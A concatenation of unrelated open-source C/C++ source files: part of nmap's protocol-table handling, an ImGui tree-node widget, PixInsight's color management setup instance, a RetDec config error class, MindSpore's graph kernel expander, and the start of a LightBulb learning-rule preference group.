while(*p && isspace((int) *p))
p++;
if (*p == '#')
continue;
res = sscanf(line, "%127s %hu", protocolname, &protno);
if (res !=2)
continue;
protno = htons(protno);
/* Now we make sure our protocols don't have duplicates */
for(current = protocol_table[0], previous = NULL;
current; current = current->next) {
if (protno == current->protoent->p_proto) {
if (o.debugging) {
error("Protocol %d is duplicated in protocols file %s", ntohs(protno), filename);
}
break;
}
previous = current;
}
if (current)
continue;
numipprots++;
current = (struct protocol_list *) cp_alloc(sizeof(struct protocol_list));
current->protoent = (struct protoent *) cp_alloc(sizeof(struct protoent));
current->next = NULL;
if (previous == NULL) {
protocol_table[protno] = current;
} else {
previous->next = current;
}
current->protoent->p_name = cp_strdup(protocolname);
current->protoent->p_proto = protno;
current->protoent->p_aliases = NULL;
}
fclose(fp);
protocols_initialized = 1;
return 0;
}
struct protoent *nmap_getprotbynum(int num) {
struct protocol_list *current;
if (!protocols_initialized)
if (nmap_protocols_init() == -1)
return NULL;
for(current = protocol_table[num % PROTOCOL_TABLE_SIZE];
current; current = current->next) {
if (num == current->protoent->p_proto)
return current->protoent;
}
/* Couldn't find it ... oh well. */
return NULL;
}
/* Be default we do all prots 0-255. */
struct scan_lists *getdefaultprots(void) {
int protindex = 0;
struct scan_lists *scanlist;
/*struct protocol_list *current;*/
int bucket;
int protsneeded = 256;
if (!protocols_initialized)
if (nmap_protocols_init() == -1)
fatal("getdefaultprots(): Couldn't get protocol numbers");
scanlist = (struct scan_lists *) safe_zalloc(sizeof(struct scan_lists));
scanlist->prots = (unsigned short *) safe_zalloc((protsneeded) * sizeof(unsigned short));
scanlist->prot_count = protsneeded;
for(bucket = 0; bucket < protsneeded; bucket++) {
scanlist->prots[protindex++] = bucket;
}
return scanlist;
}
struct scan_lists *getfastprots(void) {
int protindex = 0;
struct scan_lists *scanlist;
char usedprots[256];
struct protocol_list *current;
int bucket;
int protsneeded = 0;
if (!protocols_initialized)
if (nmap_protocols_init() == -1)
fatal("Getfastprots: Couldn't get protocol numbers");
memset(usedprots, 0, sizeof(usedprots));
for(bucket = 0; bucket < PROTOCOL_TABLE_SIZE; bucket++) {
for(current = protocol_table[bucket % PROTOCOL_TABLE_SIZE];
current; current = current->next) {
if (!usedprots[ntohs(current->protoent->p_proto)])
usedprots[ntohs(current->protoent->p_proto)] = 1;
protsneeded++;
}
}
scanlist = (struct scan_lists *) safe_zalloc(sizeof(struct scan_lists));
scanlist->prots = (unsigned short *) safe_zalloc((protsneeded ) * sizeof(unsigned short));
scanlist->prot_count = protsneeded;
for(bucket = 0; bucket < 256; bucket++) {
if (usedprots[bucket])
scanlist->prots[protindex++] = bucket;
}
return scanlist;
}
| 11,608 | 3,162 |
//
// Copyright (c) 2020 Carl Chen. All rights reserved.
//
#include "LoongEditorTreeNodeWidget.h"
#include <imgui.h>
namespace Loong::Editor {
void EditorTreeNodeWidget::DrawImpl()
{
bool prevOpened = isOpened_;
if (shouldOpen_) {
ImGui::SetNextTreeNodeOpen(true);
shouldOpen_ = false;
} else if (shouldClose_) {
ImGui::SetNextTreeNodeOpen(false);
shouldClose_ = false;
}
// clang-format off
ImGuiTreeNodeFlags flags = ImGuiTreeNodeFlags_None;
if (arrowClickToOpen_) flags |= ImGuiTreeNodeFlags_OpenOnArrow;
if (isSelected_) flags |= ImGuiTreeNodeFlags_Selected;
if (isLeaf_) flags |= ImGuiTreeNodeFlags_Leaf;
// clang-format on
bool opened = ImGui::TreeNodeEx((name_ + widgetId_).c_str(), flags);
if (ImGui::IsItemClicked() && (ImGui::GetMousePos().x - ImGui::GetItemRectMin().x) > ImGui::GetTreeNodeToLabelSpacing()) {
OnClickSignal_.emit(this);
}
if (opened) {
if (!prevOpened) {
OnExpandSignal_.emit(this);
}
isOpened_ = true;
for (auto& widget : children_) {
widget->Draw();
}
ImGui::TreePop();
} else {
if (prevOpened) {
OnCollapseSignal_.emit(this);
}
isOpened_ = false;
}
}
} | 1,384 | 464 |
// ____ ______ __
// / __ \ / ____// /
// / /_/ // / / /
// / ____// /___ / /___ PixInsight Class Library
// /_/ \____//_____/ PCL 2.4.9
// ----------------------------------------------------------------------------
// Standard Global Process Module Version 1.3.0
// ----------------------------------------------------------------------------
// ColorManagementSetupInstance.cpp - Released 2021-04-09T19:41:48Z
// ----------------------------------------------------------------------------
// This file is part of the standard Global PixInsight module.
//
// Copyright (c) 2003-2021 Pleiades Astrophoto S.L. All Rights Reserved.
//
// Redistribution and use in both source and binary forms, with or without
// modification, is permitted provided that the following conditions are met:
//
// 1. All redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//
// 2. All redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// 3. Neither the names "PixInsight" and "Pleiades Astrophoto", nor the names
// of their contributors, may be used to endorse or promote products derived
// from this software without specific prior written permission. For written
// permission, please contact info@pixinsight.com.
//
// 4. All products derived from this software, in any form whatsoever, must
// reproduce the following acknowledgment in the end-user documentation
// and/or other materials provided with the product:
//
// "This product is based on software from the PixInsight project, developed
// by Pleiades Astrophoto and its contributors (https://pixinsight.com/)."
//
// Alternatively, if that is where third-party acknowledgments normally
// appear, this acknowledgment must be reproduced in the product itself.
//
// THIS SOFTWARE IS PROVIDED BY PLEIADES ASTROPHOTO AND ITS CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
// TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL PLEIADES ASTROPHOTO OR ITS
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, BUSINESS
// INTERRUPTION; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; AND LOSS OF USE,
// DATA OR PROFITS) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
// ----------------------------------------------------------------------------
#include "ColorManagementSetupInstance.h"
#include "ColorManagementSetupParameters.h"
#include <pcl/GlobalSettings.h>
#include <pcl/MetaModule.h>
namespace pcl
{
// ----------------------------------------------------------------------------
ColorManagementSetupInstance::ColorManagementSetupInstance( const MetaProcess* p )
: ProcessImplementation( p )
, p_enabled( TheCMSEnabledParameter->DefaultValue() )
, p_detectMonitorProfile( TheCMSDetectMonitorProfileParameter->DefaultValue() )
, p_defaultRenderingIntent( CMSRenderingIntent::DefaultForScreen )
, p_onProfileMismatch( CMSOnProfileMismatch::Default )
, p_onMissingProfile( CMSOnMissingProfile::Default )
, p_defaultEmbedProfilesInRGBImages( TheCMSDefaultEmbedProfilesInRGBImagesParameter->DefaultValue() )
, p_defaultEmbedProfilesInGrayscaleImages( TheCMSDefaultEmbedProfilesInGrayscaleImagesParameter->DefaultValue() )
, p_useLowResolutionCLUTs( TheCMSUseLowResolutionCLUTsParameter->DefaultValue() )
, p_proofingIntent( CMSRenderingIntent::DefaultForProofing )
, p_useProofingBPC( TheCMSUseProofingBPCParameter->DefaultValue() )
, p_defaultProofingEnabled( TheCMSDefaultProofingEnabledParameter->DefaultValue() )
, p_defaultGamutCheckEnabled( TheCMSDefaultGamutCheckEnabledParameter->DefaultValue() )
, p_gamutWarningColor( TheCMSGamutWarningColorParameter->DefaultValue() )
{
/*
* The default sRGB profile is system/platform dependent. It is detected
* automatically upon application startup.
*
* N.B.: We cannot call PixInsightSettings::GlobalString() if the module has
* not been installed, because it requires communication with the core
* application. The interface class will have to initialize its instance
* member in its reimplementation of Initialize().
*/
if ( Module->IsInstalled() )
{
String sRGBProfilePath = PixInsightSettings::GlobalString( "ColorManagement/SRGBProfilePath" );
if ( !sRGBProfilePath.IsEmpty() )
{
ICCProfile icc( sRGBProfilePath );
if ( icc.IsProfile() )
p_defaultRGBProfile = p_defaultGrayscaleProfile = p_proofingProfile = icc.Description();
}
}
}
// ----------------------------------------------------------------------------
ColorManagementSetupInstance::ColorManagementSetupInstance( const ColorManagementSetupInstance& x )
: ProcessImplementation( x )
{
Assign( x );
}
// ----------------------------------------------------------------------------
void ColorManagementSetupInstance::Assign( const ProcessImplementation& p )
{
const ColorManagementSetupInstance* x = dynamic_cast<const ColorManagementSetupInstance*>( &p );
if ( x != nullptr )
{
p_enabled = x->p_enabled;
p_detectMonitorProfile = x->p_detectMonitorProfile;
p_updateMonitorProfile = x->p_updateMonitorProfile;
p_defaultRGBProfile = x->p_defaultRGBProfile;
p_defaultGrayscaleProfile = x->p_defaultGrayscaleProfile;
p_defaultRenderingIntent = x->p_defaultRenderingIntent;
p_onProfileMismatch = x->p_onProfileMismatch;
p_onMissingProfile = x->p_onMissingProfile;
p_defaultEmbedProfilesInRGBImages = x->p_defaultEmbedProfilesInRGBImages;
p_defaultEmbedProfilesInGrayscaleImages = x->p_defaultEmbedProfilesInGrayscaleImages;
p_useLowResolutionCLUTs = x->p_useLowResolutionCLUTs;
p_proofingProfile = x->p_proofingProfile;
p_proofingIntent = x->p_proofingIntent;
p_useProofingBPC = x->p_useProofingBPC;
p_defaultProofingEnabled = x->p_defaultProofingEnabled;
p_defaultGamutCheckEnabled = x->p_defaultGamutCheckEnabled;
p_gamutWarningColor = x->p_gamutWarningColor;
}
}
// ----------------------------------------------------------------------------
bool ColorManagementSetupInstance::CanExecuteOn( const View&, pcl::String& whyNot ) const
{
whyNot = "ColorManagementSetup can only be executed in the global context.";
return false;
}
// ----------------------------------------------------------------------------
bool ColorManagementSetupInstance::CanExecuteGlobal( pcl::String& whyNot ) const
{
return true;
}
// ----------------------------------------------------------------------------
bool ColorManagementSetupInstance::ExecuteGlobal()
{
/*
* Find all installed ICC profiles
*/
StringList all = ICCProfile::FindProfiles();
/*
* Find the default RGB profile
*/
StringList descriptions;
StringList paths;
ICCProfile::ExtractProfileList( descriptions,
paths,
all,
ICCColorSpace::RGB );
StringList::const_iterator i = descriptions.Search( p_defaultRGBProfile );
if ( i == descriptions.End() )
throw Error( "Couldn't find the '" + p_defaultRGBProfile + "' profile.\n"
"Either it has not been installed, it is not a valid RGB profile,\n"
"or the corresponding disk file has been removed." );
String rgbPath = paths[i - descriptions.Begin()];
/*
* Find the default grayscale profile
*/
descriptions.Clear();
paths.Clear();
ICCProfile::ExtractProfileList( descriptions,
paths,
all,
ICCColorSpace::RGB|ICCColorSpace::Gray );
i = descriptions.Search( p_defaultGrayscaleProfile );
if ( i == descriptions.End() )
throw Error( "Couldn't find the '" + p_defaultGrayscaleProfile + "' profile.\n"
"Either it has not been installed, or the corresponding disk file has been removed." );
String grayPath = paths[i - descriptions.Begin()];
/*
* Find the proofing profile
*/
descriptions.Clear();
paths.Clear();
ICCProfile::ExtractProfileList( descriptions,
paths,
all ); // all color spaces are valid for proofing
i = descriptions.Search( p_proofingProfile );
if ( i == descriptions.End() )
throw Error( "Couldn't find the '" + p_proofingProfile + "' profile.\n"
"Either it has not been installed, or the corresponding disk file has been removed." );
String proofingPath = paths[i - descriptions.Begin()];
/*
* Perform global settings update
*/
PixInsightSettings::BeginUpdate();
try
{
PixInsightSettings::SetGlobalFlag( "ColorManagement/IsEnabled", p_enabled );
PixInsightSettings::SetGlobalFlag( "ColorManagement/DetectMonitorProfile", p_detectMonitorProfile );
if ( !p_updateMonitorProfile.IsEmpty() )
PixInsightSettings::SetGlobalString( "ColorManagement/UpdateMonitorProfile", p_updateMonitorProfile );
PixInsightSettings::SetGlobalString( "ColorManagement/DefaultRGBProfilePath", rgbPath );
PixInsightSettings::SetGlobalString( "ColorManagement/DefaultGrayscaleProfilePath", grayPath );
PixInsightSettings::SetGlobalInteger( "ColorManagement/DefaultRenderingIntent", p_defaultRenderingIntent );
PixInsightSettings::SetGlobalInteger( "ColorManagement/OnProfileMismatch", p_onProfileMismatch );
PixInsightSettings::SetGlobalInteger( "ColorManagement/OnMissingProfile", p_onMissingProfile );
PixInsightSettings::SetGlobalFlag( "ColorManagement/DefaultEmbedProfilesInRGBImages", p_defaultEmbedProfilesInRGBImages );
PixInsightSettings::SetGlobalFlag( "ColorManagement/DefaultEmbedProfilesInGrayscaleImages", p_defaultEmbedProfilesInGrayscaleImages );
PixInsightSettings::SetGlobalFlag( "ColorManagement/UseLowResolutionCLUTs", p_useLowResolutionCLUTs );
PixInsightSettings::SetGlobalString( "ColorManagement/ProofingProfilePath", proofingPath );
PixInsightSettings::SetGlobalInteger( "ColorManagement/ProofingIntent", p_proofingIntent );
PixInsightSettings::SetGlobalFlag( "ColorManagement/UseProofingBPC", p_useProofingBPC );
PixInsightSettings::SetGlobalFlag( "ColorManagement/DefaultProofingEnabled", p_defaultProofingEnabled );
PixInsightSettings::SetGlobalFlag( "ColorManagement/DefaultGamutCheckEnabled", p_defaultGamutCheckEnabled );
PixInsightSettings::SetGlobalColor( "ColorManagement/GamutWarningColor", p_gamutWarningColor );
PixInsightSettings::EndUpdate();
return true;
}
catch ( ... )
{
// ### Warning: Don't forget to do this, or the core will bite you!
PixInsightSettings::CancelUpdate();
throw;
}
}
// ----------------------------------------------------------------------------
void* ColorManagementSetupInstance::LockParameter( const MetaParameter* p, size_type /*tableRow*/ )
{
if ( p == TheCMSEnabledParameter )
return &p_enabled;
if ( p == TheCMSDetectMonitorProfileParameter )
return &p_detectMonitorProfile;
if ( p == TheCMSUpdateMonitorProfileParameter )
return p_updateMonitorProfile.Begin();
if ( p == TheCMSDefaultRGBProfileParameter )
return p_defaultRGBProfile.Begin();
if ( p == TheCMSDefaultGrayProfileParameter )
return p_defaultGrayscaleProfile.Begin();
if ( p == TheCMSDefaultRenderingIntentParameter )
return &p_defaultRenderingIntent;
if ( p == TheCMSOnProfileMismatchParameter )
return &p_onProfileMismatch;
if ( p == TheCMSOnMissingProfileParameter )
return &p_onMissingProfile;
if ( p == TheCMSDefaultEmbedProfilesInRGBImagesParameter )
return &p_defaultEmbedProfilesInRGBImages;
if ( p == TheCMSDefaultEmbedProfilesInGrayscaleImagesParameter )
return &p_defaultEmbedProfilesInGrayscaleImages;
if ( p == TheCMSUseLowResolutionCLUTsParameter )
return &p_useLowResolutionCLUTs;
if ( p == TheCMSProofingProfileParameter )
return p_proofingProfile.Begin();
if ( p == TheCMSProofingIntentParameter )
return &p_proofingIntent;
if ( p == TheCMSUseProofingBPCParameter )
return &p_useProofingBPC;
if ( p == TheCMSDefaultProofingEnabledParameter )
return &p_defaultProofingEnabled;
if ( p == TheCMSDefaultGamutCheckEnabledParameter )
return &p_defaultGamutCheckEnabled;
if ( p == TheCMSGamutWarningColorParameter )
return &p_gamutWarningColor;
return nullptr;
}
// ----------------------------------------------------------------------------
bool ColorManagementSetupInstance::AllocateParameter( size_type sizeOrLength, const MetaParameter* p, size_type /*tableRow*/ )
{
if ( p == TheCMSDefaultRGBProfileParameter )
{
p_defaultRGBProfile.Clear();
if ( sizeOrLength != 0 )
p_defaultRGBProfile.SetLength( sizeOrLength );
}
else if ( p == TheCMSDefaultGrayProfileParameter )
{
p_defaultGrayscaleProfile.Clear();
if ( sizeOrLength != 0 )
p_defaultGrayscaleProfile.SetLength( sizeOrLength );
}
else if ( p == TheCMSProofingProfileParameter )
{
p_proofingProfile.Clear();
if ( sizeOrLength != 0 )
p_proofingProfile.SetLength( sizeOrLength );
}
else if ( p == TheCMSUpdateMonitorProfileParameter )
{
p_updateMonitorProfile.Clear();
if ( sizeOrLength != 0 )
p_updateMonitorProfile.SetLength( sizeOrLength );
}
else
return false;
return true;
}
// ----------------------------------------------------------------------------
size_type ColorManagementSetupInstance::ParameterLength( const MetaParameter* p, size_type /*tableRow*/ ) const
{
if ( p == TheCMSDefaultRGBProfileParameter )
return p_defaultRGBProfile.Length();
if ( p == TheCMSDefaultGrayProfileParameter )
return p_defaultGrayscaleProfile.Length();
if ( p == TheCMSProofingProfileParameter )
return p_proofingProfile.Length();
if ( p == TheCMSUpdateMonitorProfileParameter )
return p_updateMonitorProfile.Length();
return 0;
}
// ----------------------------------------------------------------------------
void ColorManagementSetupInstance::LoadCurrentSettings()
{
p_enabled = PixInsightSettings::GlobalFlag( "ColorManagement/IsEnabled" );
p_detectMonitorProfile = PixInsightSettings::GlobalFlag( "ColorManagement/DetectMonitorProfile" );
p_defaultRGBProfile = ICCProfile( PixInsightSettings::GlobalString( "ColorManagement/DefaultRGBProfilePath" ) ).Description();
p_defaultGrayscaleProfile = ICCProfile( PixInsightSettings::GlobalString( "ColorManagement/DefaultGrayscaleProfilePath" ) ).Description();
p_defaultRenderingIntent = PixInsightSettings::GlobalInteger( "ColorManagement/DefaultRenderingIntent" );
p_onProfileMismatch = PixInsightSettings::GlobalInteger( "ColorManagement/OnProfileMismatch" );
p_onMissingProfile = PixInsightSettings::GlobalInteger( "ColorManagement/OnMissingProfile" );
p_defaultEmbedProfilesInRGBImages = PixInsightSettings::GlobalFlag( "ColorManagement/DefaultEmbedProfilesInRGBImages" );
p_defaultEmbedProfilesInGrayscaleImages = PixInsightSettings::GlobalFlag( "ColorManagement/DefaultEmbedProfilesInGrayscaleImages" );
p_useLowResolutionCLUTs = PixInsightSettings::GlobalFlag( "ColorManagement/UseLowResolutionCLUTs" );
p_proofingProfile = ICCProfile( PixInsightSettings::GlobalString( "ColorManagement/ProofingProfilePath" ) ).Description();
p_proofingIntent = PixInsightSettings::GlobalInteger( "ColorManagement/ProofingIntent" );
p_useProofingBPC = PixInsightSettings::GlobalFlag( "ColorManagement/UseProofingBPC" );
p_defaultProofingEnabled = PixInsightSettings::GlobalFlag( "ColorManagement/DefaultProofingEnabled" );
p_defaultGamutCheckEnabled = PixInsightSettings::GlobalFlag( "ColorManagement/DefaultGamutCheckEnabled" );
p_gamutWarningColor = PixInsightSettings::GlobalColor( "ColorManagement/GamutWarningColor" );
}
// ----------------------------------------------------------------------------
} // pcl
// ----------------------------------------------------------------------------
// EOF ColorManagementSetupInstance.cpp - Released 2021-04-09T19:41:48Z
| 17,227 | 4,896 |
/**
* @file src/llvmir2hll/config/config.cpp
* @brief Implementation of the base class for all configs.
* @copyright (c) 2017 Avast Software, licensed under the MIT license
*/
#include "retdec/llvmir2hll/config/config.h"
namespace retdec {
namespace llvmir2hll {
/**
* @brief Constructs the exception with the given error message.
*/
ConfigError::ConfigError(const std::string &message):
message(message) {}
const char *ConfigError::what() const noexcept {
return message.c_str();
}
const std::string &ConfigError::getMessage() const noexcept {
return message;
}
} // namespace llvmir2hll
} // namespace retdec
| 620 | 206 |
/**
* Copyright 2020 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "backend/optimizer/graph_kernel/graph_kernel_expander.h"
#include <vector>
#include <string>
#include <unordered_set>
#include "backend/session/anf_runtime_algorithm.h"
#include "pipeline/jit/parse/python_adapter.h"
#include "mindspore/core/ir/graph_utils.h"
#include "backend/optimizer/graph_kernel/graph_kernel_helper.h"
#include "backend/kernel_compiler/akg/akg_kernel_json_generator.h"
#include "vm/segment_runner.h"
#include "runtime/device/kernel_info.h"
#include "backend/kernel_compiler/common_utils.h"
#include "backend/kernel_compiler/kernel_build_info.h"
namespace mindspore {
namespace opt {
namespace {
constexpr auto kJsonKeyExpandInfo = "expand_info";
#define GET_VALUE_FOR_JSON(JSON, VALUE, VALUE_ELEM, TYPE_NAME, TYPE) \
if (VALUE_ELEM->isa<TYPE_NAME>()) { \
JSON = GetValue<TYPE>(VALUE); \
}
nlohmann::json ExpandAttrJsonInfo(const CNodePtr &cnode) {
nlohmann::json attrs_json;
if (auto prim = GetCNodePrimitive(cnode); prim != nullptr) {
auto attrs = prim->attrs();
for (const auto &[k, v] : attrs) {
nlohmann::json attr_json;
MS_LOG(DEBUG) << "attr key is : " << k << " and value type is : " << v->type_name();
GET_VALUE_FOR_JSON(attr_json[k], v, v, Int32Imm, int);
GET_VALUE_FOR_JSON(attr_json[k], v, v, Int64Imm, int64_t);
GET_VALUE_FOR_JSON(attr_json[k], v, v, UInt32Imm, uint32_t);
GET_VALUE_FOR_JSON(attr_json[k], v, v, UInt64Imm, uint64_t);
GET_VALUE_FOR_JSON(attr_json[k], v, v, FP32Imm, float);
GET_VALUE_FOR_JSON(attr_json[k], v, v, FP64Imm, double);
GET_VALUE_FOR_JSON(attr_json[k], v, v, BoolImm, bool);
GET_VALUE_FOR_JSON(attr_json[k], v, v, StringImm, std::string);
if (v->isa<ValueList>() || v->isa<ValueTuple>()) {
auto vec = v->isa<ValueList>() ? v->cast<ValueListPtr>()->value() : v->cast<ValueTuplePtr>()->value();
if (!vec.empty()) {
MS_LOG(DEBUG) << "value type is : " << vec[0]->type_name();
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], Int32Imm, std::vector<int>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], Int64Imm, std::vector<int64_t>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], UInt32Imm, std::vector<uint32_t>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], UInt64Imm, std::vector<uint64_t>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], FP32Imm, std::vector<float>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], FP64Imm, std::vector<double>);
GET_VALUE_FOR_JSON(attr_json[k], v, vec[0], StringImm, std::vector<std::string>);
}
}
if (!attr_json.empty()) {
attrs_json.push_back(attr_json);
}
}
}
return attrs_json;
}
bool ExpandJsonInfo(const CNodePtr &cnode, nlohmann::json *kernel_json) {
MS_EXCEPTION_IF_NULL(kernel_json);
if (kernel_json->find(kJsonKeyExpandInfo) != kernel_json->end()) {
return false;
}
nlohmann::json expand_info;
expand_info[kernel::kJsonKeyAttr] = ExpandAttrJsonInfo(cnode);
expand_info[kernel::kJsonKeyName] = AnfAlgo::GetCNodeName(cnode);
expand_info[kernel::kJsonKeyProcess] = kernel::GetProcessorStr(cnode);
std::vector<nlohmann::json> inputs_info;
for (size_t i = 0; i < AnfAlgo::GetInputTensorNum(cnode); ++i) {
nlohmann::json input_info;
input_info[kernel::kJsonKeyFormat] = AnfAlgo::GetInputFormat(cnode, i);
input_info[kernel::kJsonKeyInferShape] = AnfAlgo::GetPrevNodeOutputInferShape(cnode, i);
input_info[kernel::kJsonKeyShape] = AnfAlgo::GetInputDeviceShape(cnode, i);
input_info[kernel::kJsonKeyInferDataType] =
kernel::TypeId2String(AnfAlgo::GetPrevNodeOutputInferDataType(cnode, i));
input_info[kernel::kJsonKeyDataType] = kernel::TypeId2String(AnfAlgo::GetInputDeviceDataType(cnode, i));
inputs_info.push_back(input_info);
}
expand_info[kernel::kJsonKeyInputDesc] = inputs_info;
std::vector<nlohmann::json> outputs_info;
for (size_t i = 0; i < AnfAlgo::GetOutputTensorNum(cnode); ++i) {
nlohmann::json output_info;
output_info[kernel::kJsonKeyFormat] = AnfAlgo::GetOutputFormat(cnode, i);
output_info[kernel::kJsonKeyInferShape] = AnfAlgo::GetOutputInferShape(cnode, i);
output_info[kernel::kJsonKeyShape] = AnfAlgo::GetOutputDeviceShape(cnode, i);
output_info[kernel::kJsonKeyInferDataType] = kernel::TypeId2String(AnfAlgo::GetOutputInferDataType(cnode, i));
output_info[kernel::kJsonKeyDataType] = kernel::TypeId2String(AnfAlgo::GetOutputDeviceDataType(cnode, i));
outputs_info.push_back(output_info);
}
expand_info[kernel::kJsonKeyOutputDesc] = outputs_info;
(*kernel_json)[kJsonKeyExpandInfo] = expand_info;
return true;
}
} // namespace
FuncGraphPtr GraphKernelExpander::CreateExpandFuncGraph(const CNodePtr &node) {
nlohmann::json kernel_json;
if (!ExpandJsonInfo(node, &kernel_json)) {
MS_LOG(ERROR) << "Expand json info to: " << node->DebugString(2) << " failed, ori_json:\n" << kernel_json.dump();
return nullptr;
}
auto node_desc_str = kernel_json.dump();
// call graph kernel ops generator.
MS_LOG(DEBUG) << "CallPyFn: [" << kGetGraphKernelOpExpander << "] with input json:\n" << node_desc_str;
auto ret = parse::python_adapter::CallPyFn(kGraphKernelModule, kGetGraphKernelOpExpander, node_desc_str);
// parse result.
if (ret.is(py::none())) {
MS_LOG(ERROR) << "CallPyFn: [" << kGetGraphKernelOpExpander << "] return invalid result, input json:\n"
<< node_desc_str;
return nullptr;
}
std::string kernel_desc_str = py::cast<std::string>(ret);
if (kernel_desc_str.empty()) {
MS_LOG(ERROR) << "Jump expand node: " << node->fullname_with_scope();
return nullptr;
}
// decode json to func_graph.
std::vector<AnfNodePtr> ori_inputs(node->inputs().begin() + 1, node->inputs().end());
return JsonDescToAnf(kernel_desc_str, ori_inputs);
}
AnfNodePtr GraphKernelExpander::CreateExpandGraphKernel(const FuncGraphPtr &func_graph,
const FuncGraphPtr &new_func_graph, const CNodePtr &node) {
std::vector<AnfNodePtr> inputs(node->inputs().begin() + 1, node->inputs().end());
AnfNodePtrList kernel_nodes;
AnfNodePtrList outputs;
kernel::GetValidKernelNodes(new_func_graph, &kernel_nodes);
kernel::GetFuncGraphOutputNodes(new_func_graph, &outputs);
auto graph_kernel_node = CreateNewFuseCNode(func_graph, new_func_graph, inputs, outputs, false);
SetNewKernelInfo(graph_kernel_node, new_func_graph, inputs, outputs, AnfAlgo::GetProcessor(node));
std::string graph_kernel_flag;
std::for_each(kernel_nodes.begin(), kernel_nodes.end(), [&graph_kernel_flag](const AnfNodePtr &node) {
static_cast<void>(graph_kernel_flag.append(AnfAlgo::GetCNodeName(node)).append("_"));
});
MS_LOG(DEBUG) << "Expand node: " << node->fullname_with_scope() << " with: " << graph_kernel_flag;
return graph_kernel_node;
}
bool GraphKernelExpander::DoExpand(const FuncGraphPtr &func_graph) {
bool changed = false;
auto todos = TopoSort(func_graph->get_return());
std::reverse(todos.begin(), todos.end());
auto mng = func_graph->manager();
MS_EXCEPTION_IF_NULL(mng);
for (const auto &n : todos) {
auto node = n->cast<CNodePtr>();
if (node == nullptr || !AnfAlgo::IsRealKernel(node) || AnfAlgo::IsGraphKernel(node) || !CanExpand(node)) {
continue;
}
MS_LOG(INFO) << "Expand process node: " << node->fullname_with_scope();
auto new_func_graph = CreateExpandFuncGraph(node);
if (new_func_graph == nullptr) {
MS_LOG(ERROR) << "Decode fused nodes failed, " << node->fullname_with_scope();
continue;
}
mng->AddFuncGraph(new_func_graph);
MS_LOG(DEBUG) << "decode fused nodes success.";
auto graph_kernel_node = CreateExpandGraphKernel(func_graph, new_func_graph, node);
new_func_graph->set_attr(FUNC_GRAPH_ATTR_GRAPH_KERNEL, MakeValue(AnfAlgo::GetCNodeName(node)));
MS_LOG(INFO) << "create new cnode success.";
// replace origin node.
(void)mng->Replace(node, graph_kernel_node);
changed = true;
}
return changed;
}
bool GraphKernelExpander::Run(const FuncGraphPtr &func_graph) {
expand_ops_ = GetExpandOps();
MS_EXCEPTION_IF_NULL(func_graph);
auto mng = func_graph->manager();
if (mng == nullptr) {
mng = Manage(func_graph, true);
func_graph->set_manager(mng);
}
return DoExpand(func_graph);
}
} // namespace opt
} // namespace mindspore
| 9,086 | 3,295 |
// Includes
#include "LightBulbApp/TrainingPlans/Preferences/PredefinedPreferenceGroups/Supervised/GradientDescentLearningRulePreferenceGroup.hpp"
#include "LightBulbApp/TrainingPlans/Preferences/ChoicePreference.hpp"
#include "LightBulbApp/TrainingPlans/Preferences/PredefinedPreferenceGroups/Supervised/GradientDescentAlgorithms/SimpleGradientDescentPreferenceGroup.hpp"
#include "LightBulbApp/TrainingPlans/Preferences/PredefinedPreferenceGroups/Supervised/GradientDescentAlgorithms/ResilientLearningRatePreferenceGroup.hpp"
#include "LightBulbApp/TrainingPlans/Preferences/PredefinedPreferenceGroups/Supervised/GradientCalculation/BackpropagationPreferenceGroup.hpp"
#include "LightBulb/Learning/Supervised/GradientDescentLearningRule.hpp"
#include "LightBulb/Learning/Supervised/GradientDescentAlgorithms/SimpleGradientDescent.hpp"
#include "LightBulb/Learning/Supervised/GradientDescentAlgorithms/ResilientLearningRate.hpp"
#include "LightBulb/Learning/Supervised/GradientCalculation/Backpropagation.hpp"
namespace LightBulb
{
#define PREFERENCE_GRADIENT_DECENT_ALGORITHM "Gradient decent algorithm"
#define CHOICE_SIMPLE_GRADIENT_DESCENT "Simple gradient descent"
#define CHOICE_RESILIENT_LEARNING_RATE "Resilient learning rate"
GradientDescentLearningRulePreferenceGroup::GradientDescentLearningRulePreferenceGroup(bool skipGradientDescentAlgorithm, const std::string& name)
:AbstractSupervisedLearningRulePreferenceGroup(name)
{
GradientDescentLearningRuleOptions options;
SimpleGradientDescentOptions simpleGradientDescentOptions;
ResilientLearningRateOptions resilientLearningRateOptions;
initialize(skipGradientDescentAlgorithm, options, simpleGradientDescentOptions, resilientLearningRateOptions);
}
GradientDescentLearningRulePreferenceGroup::GradientDescentLearningRulePreferenceGroup(const GradientDescentLearningRuleOptions& options, bool skipGradientDescentAlgorithm, const std::string& name)
:AbstractSupervisedLearningRulePreferenceGroup(options, name)
{
SimpleGradientDescentOptions simpleGradientDescentOptions;
ResilientLearningRateOptions resilientLearningRateOptions;
initialize(skipGradientDescentAlgorithm, options, simpleGradientDescentOptions, resilientLearningRateOptions);
}
